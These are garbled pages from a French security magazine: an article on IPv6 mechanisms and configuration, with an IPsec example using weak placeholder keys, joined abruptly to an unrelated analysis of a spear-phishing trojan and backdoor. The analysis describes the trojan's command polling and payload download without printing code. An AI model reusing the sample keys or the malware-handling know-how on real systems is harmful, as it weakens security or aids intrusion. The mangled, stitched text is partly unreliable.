Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 15: hakin9_05_2010_FR

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

